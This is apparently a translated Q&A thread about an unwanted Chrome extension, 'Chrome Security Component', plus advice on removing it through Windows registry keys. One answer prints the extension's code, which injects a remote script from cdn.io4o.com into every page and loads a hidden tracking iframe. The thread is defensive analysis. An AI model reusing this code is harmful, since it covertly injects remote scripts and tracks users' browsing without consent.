Mensagem pop-up na inicialização do Chrome: confirmar alterações - a extensão "Chrome Security Component" foi adicionada

Navegue suas respostas
6

Ao iniciar o Google Chrome, uma pequena caixa de diálogo pop-up aparece no canto superior direito do navegador, que afirma:

Confirm Changes

The extension "Chrome Security Component" has been added.

Isso me dá as opções para pressionar OK ou Detalhes (não pressionei OK), mas depois de pressionar Detalhes, uma nova guia é aberta com minhas extensões do Chrome.

Existe uma extensão chamada Chrome Security Component 1.0 com um carrapato ativado à direita.

A escrita imediatamente abaixo do nome diz:

Critical Security Update for Firefox

Existem 2 caixinhas:

  • Permitir navegação anônima
  • Permitir acesso a URLs

Nenhuma caixa está marcada.

Até onde sei, não baixei esta extensão da Chrome Web Store e gostaria de receber conselhos?

Alguém mais se deparou com isso, não parece certo, especialmente o fato de ser uma atualização de segurança crítica para o Firefox!

O Google Chrome pode adicionar extensões automaticamente se elas forem por motivos de segurança?

(Isso também é algo que apareceu recentemente nos últimos tempos de lançamento do Chrome, é por isso que eu não fiz o download dele como extensão)

    
por Simon 05.12.2012 / 20:03

3 respostas

2

A extensão não está disponível na loja on-line do Chrome e, olhando para o ícone genérico do plug-in do Google Chrome, juntamente com a falta de presença na loja virtual me faz acreditar que isso definitivamente não é legítimo.

Você deve poder verificar o código-fonte da extensão na pasta %localappdata%\Google Chrome\User Data\Default\Extensions\kfejhbidgehdoaglokpfddkmiepmhcck e examinar o que ele faz.

Can Google Chrome add extensions automatically if they are for security reasons?

Eu vi extensões de instalação de aplicativos externos para o Chrome (por exemplo, o Norton 360, que instala a extensão Protect inútil), mas isso definitivamente não é do Mozilla.

    
por 05.12.2012 / 20:49
2

esta é um pouco mais informação para esta extensão: 

Chrome Security Component


--------------------------------------
extension background.js
--------------
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) {
    if (changeInfo.status === 'complete') {
        chrome.tabs.executeScript(tabId, {
            code: "var d = document; var js, id = 'wsk-node'; if (d.getElementById(id)) {return;}"+
                  "js = d.createElement('script'); js.id = id; js.async = true;"+
                  "js.src = '//cdn.io4o.com/js/all.js';"+
                  "d.getElementsByTagName('head')[0].appendChild(js);"
        });
    }
});


-----
//cdn.io4o.com/js/all.js
----

var host = window.location.host;

if (host != 'cdn.io4o.com') {
        var iframe = document.createElement('iframe');
        iframe.src = '//cdn.io4o.com/ga.html';
        iframe.style.width = 0;
        iframe.style.height = 0;
        iframe.style.border = 0;
        document.body.appendChild(iframe);
}

------
//cdn.io4o.com/ga.html
------

<html>
<head>
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-37051120-1']);
  _gaq.push(['_setDomainName', 'io4o.com']);

  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</head>
<body>
</body>
</html>
    
por 20.12.2012 / 20:08
0

Can Google Chrome add extensions automatically if they are for security reasons?

Sim, o Google Chrome permite a instalação automática da extensão, mas isso não está restrito a motivos de segurança. O que você experimentou é uma chamada extensão externa .
De website para desenvolvedores do Google

An extension that's installed automatically is known as an external extension. Google Chrome supports two ways of installing external extensions:

Using a preferences JSON file (Mac OS X and Linux only)
Using the Windows registry (Windows only)

No Windows, eles são acessados por meio dessas entradas do Registro:

Windows de 32 bits: HKEY_LOCAL_MACHINE \ Software \ Google \ Chrome \ Extensions
Windows de 64 bits: HKEY_LOCAL_MACHINE \ Software \ Wow6432Node \ Google \ Chrome \ Extensões

Basta excluir o ID da extensão ofensiva (ele aparecerá como uma subchave)

    
por 03.04.2015 / 13:25

Tags

Gimp record actions É possível encaminhar apenas uma aplicação específica através de uma VPN?